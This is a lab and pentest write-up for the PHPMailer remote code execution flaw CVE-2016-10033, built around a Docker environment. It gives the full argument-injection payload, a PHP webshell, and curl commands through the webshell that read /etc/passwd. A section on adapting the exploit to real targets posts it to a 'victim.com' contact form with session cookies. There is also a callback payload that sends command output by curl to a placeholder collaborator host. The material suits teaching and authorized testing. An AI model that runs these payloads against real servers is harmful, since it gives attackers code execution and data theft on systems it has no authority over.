CVE-2016-10033 — PHPMailer < 5.2.18 Remote Code Execution (PwnScriptum)
Overview
| Field | Value |
|---|---|
| CVE | CVE-2016-10033 |
| Software | PHPMailer |
| Version Tested | 5.2.17 |
| Vulnerable Range | PHPMailer < 5.2.18 |
| Type | RCE (argument injection → webshell) |
| CVSS | 9.8 (Critical) |
| Authentication | Not required |
| Discovered by | Dawid Golunski (legalhackers.com) |
PHPMailer before 5.2.18 passes the Sender address (derived from the From field) to the system mail() call without escaping RFC-3696 quoted-string special characters. An attacker can inject arbitrary sendmail command-line arguments, including -X <path>, which causes sendmail to write its full debug transcript to a web-accessible file. Because the email body is included in that transcript, placing a PHP one-liner in the body creates a live webshell.
Quick Start
bash verify.sh
This command starts the vulnerable container, waits for Apache, fires the exploit, and prints the command execution output. No manual steps required. Allow approximately 3 minutes for sendmail to complete delivery in the lab environment.
Environment
- Image:
vulnerables/cve-2016-10033(opsxcq/exploit-CVE-2016-10033) - Ports: 8080 → Apache/PHP (HTTP)
- Webroot inside container:
/www/ - Internal SMTP stub: Python
DebuggingServeronlocalhost:25 - Credentials: None required
- Setup time: ~5s for Apache, ~120s for sendmail delivery (lab quirk)
docker compose up -d # start
docker compose logs -f # watch logs
docker compose down # teardown
Exploit
- File:
exploit/exploit.py - Source: https://github.com/opsxcq/exploit-CVE-2016-10033 (adapted)
- Language: Python 3
- Dependency:
requests(pip install requests)
How It Works
Vulnerable code path
class.phpmailer.php — mailSend() method:
// $this->Sender is taken from $email->setFrom($addr) — user-supplied
$params = sprintf('-f%s', escapeshellarg($this->Sender));
mail($to, $subject, $body, $header, $params);
escapeshellarg() wraps the value in single quotes and escapes internal single quotes. However, validation is done by validateAddress() using the RFC-3696 specification, which allows spaces inside double-quoted local-parts:
"attacker\" -OQueueDirectory=/tmp -X/www/backdoor.php some"@example.com
is a syntactically valid RFC-3696 address. PHPMailer accepts it, then passes it to mail(), which calls:
/usr/sbin/sendmail -t -i -f attacker\ -OQueueDirectory=/tmp -X/www/backdoor.php some@example.com
The injected flags:
| Flag | Effect |
|---|---|
-f attacker\ | Sets envelope sender (the \ terminates the value) |
-OQueueDirectory=/tmp | Overrides queue dir to a world-writable path |
-X /www/backdoor.php | Writes the full SMTP debug transcript to this file |
Webshell delivery
The email body is set to:
<?php echo system($_GET["cmd"]); ?>
Sendmail writes the entire SMTP session log — including the message body — to /www/backdoor.php. When Apache serves that file as PHP, the interpreter finds the <?php ... ?> tag, executes it, and returns the command output to the attacker.
Step-by-step
POST /with:action=submitemail="attacker\" -OQueueDirectory=/tmp -X/www/backdoor.php some"@example.commessage=<?php echo system($_GET["cmd"]); ?>
- PHPMailer calls
mail()→sendmailstarts with injected-Xflag - Sendmail connects to local SMTP stub (port 25) and delivers; debug log →
/www/backdoor.php GET /backdoor.php?cmd=id→uid=33(www-data) gid=33(www-data) groups=33(www-data)
Manual Usage
# Start environment
docker compose up -d
# Wait ~5s for Apache, then run exploit
# (sendmail takes ~120s to deliver in this lab — script polls automatically)
pip install requests
python3 exploit/exploit.py --target http://localhost:8080 --cmd "id"
# Execute more commands via the dropped webshell
curl "http://localhost:8080/backdoor.php?cmd=cat+/etc/passwd"
curl "http://localhost:8080/backdoor.php?cmd=uname+-a"
Expected Output
================================================================
CVE-2016-10033 PHPMailer < 5.2.18 RCE PoC
================================================================
[*] Target : http://localhost:8080
[*] Payload : From = "attacker\" -OQueueDirectory=/tmp -X/www/backdoor.php some"@example.com
[*] Webshell: <?php echo system($_GET["cmd"]); ?>
[1/4] Sending exploit POST (sendmail delivery runs async)…
[2/4] Polling for backdoor (up to 150s, sendmail ~120s) ......................
POST status: 200
[3/4] Backdoor confirmed at /backdoor.php
[4/4] Executing: id
================================================================
[+] COMMAND OUTPUT:
================================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
================================================================
[+] Exploitation SUCCESSFUL — STRONG evidence of RCE
[+] Backdoor: http://localhost:8080/backdoor.php?cmd=<command>
PHPMailer version confirmed via X-Mailer header in the sendmail debug log:
X-Mailer: PHPMailer 5.2.17 (https://github.com/PHPMailer/PHPMailer)
Pentest Adaptation Guide
Target Discovery
Identify applications using vulnerable PHPMailer versions:
# Banner-grab: check X-Mailer / X-PHP-Originating-Script in email headers
# from test registrations / password resets
# Nmap service scan
nmap -sV -p 80,443,8080,8443 <target>
# Check composer.lock or vendor/ directory for PHPMailer version
curl -s https://target.com/composer.lock | python3 -m json.tool | grep -A2 phpmailer
# Detect via HTTP response headers (common in CMSes)
curl -I https://target.com/ | grep -i "x-powered-by\|x-generator"
# WordPress-based targets
curl -s https://target.com/wp-includes/PHPMailer/class-phpmailer.php | \
grep "const VERSION\|Version ="
Common attack surfaces (all use PHPMailer internally):
- Contact / feedback forms
- Registration / account creation forms
- Password reset / "forgot password" flows
- Newsletter subscription forms
- WordPress (
wp_mail()), Joomla, Drupal email modules
Adapting the Exploit
- Change target URL: replace
http://localhost:8080with the real hostname/port - Identify the form endpoint: may be
/contact.php,/register.php,/wp-login.php, etc. - Map form fields: the
email/fromfield must map to PHPMailer'ssetFrom()call - Adjust webroot path: change
/www/backdoor.phpto the real webroot (common:/var/www/html/,/var/www/,/srv/www/htdocs/) - Verify file write: the
-Xpath must be web-accessible AND writable by the web server user - Authentication: if the form is behind a login, add session cookies to the requests
# Real-target adaptation (replace values):
BACKDOOR_PATH = "/var/www/html/backdoor.php" # adjust to target webroot
crafted_from = f'"attacker\\" -OQueueDirectory=/tmp -X{BACKDOOR_PATH} some"@example.com'
requests.post("https://victim.com/contact.php", data={
"name": "Test",
"email": crafted_from,
"message": '<?php echo system($_GET["cmd"]); ?>',
"csrf": csrf_token, # add CSRF token if required
}, cookies={"session": session_id}) # add auth cookies if required
Timing Note
In real environments, the sendmail delivery time varies:
- With a local MTA (postfix/sendmail relaying to localhost): similar ~30–120s delay
- With
isSMTP()transport: not vulnerable (exploit only works withmail()transport) - With direct delivery to Internet: may resolve faster if DNS works properly
Safe Verification (Non-Destructive)
To confirm the vulnerability without deploying a persistent webshell:
# Write to /tmp instead of webroot — confirms injection but no RCE
SAFE_PATH = "/tmp/cve_2016_10033_test.log"
crafted_from = f'"attacker\\" -OQueueDirectory=/tmp -X{SAFE_PATH} some"@example.com'
# Then check file existence via a separate out-of-band channel
Or use a DNS-based OOB callback:
# Inject a DNS lookup to confirm code execution without writing files
WEBSHELL = '<?php system("curl http://YOUR_BURP_COLLAB_HOST/`id`"); ?>'
Do NOT:
- Write backdoors to production webservers without explicit scope agreement
- Use
rm -rf,passwd, or other destructive commands - Leave backdoors running after the assessment window closes
Evidence Collection
Capture the following for the pentest report:
- HTTP request (Burp Suite screenshot) showing the crafted
emailfield - HTTP response confirming the form processed successfully
- Webshell access —
GET /backdoor.php?cmd=idresponse showinguid= - File read — contents of
/etc/passwdor/etc/hostname - Version confirmation —
X-Mailer: PHPMailer 5.2.xfrom email headers - Finding title: "PHPMailer Remote Code Execution (CVE-2016-10033)"
- CVSS: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)
- Remediation: Upgrade PHPMailer to ≥ 5.2.20 (5.2.18/5.2.19 are insufficient — see CVE-2016-10045)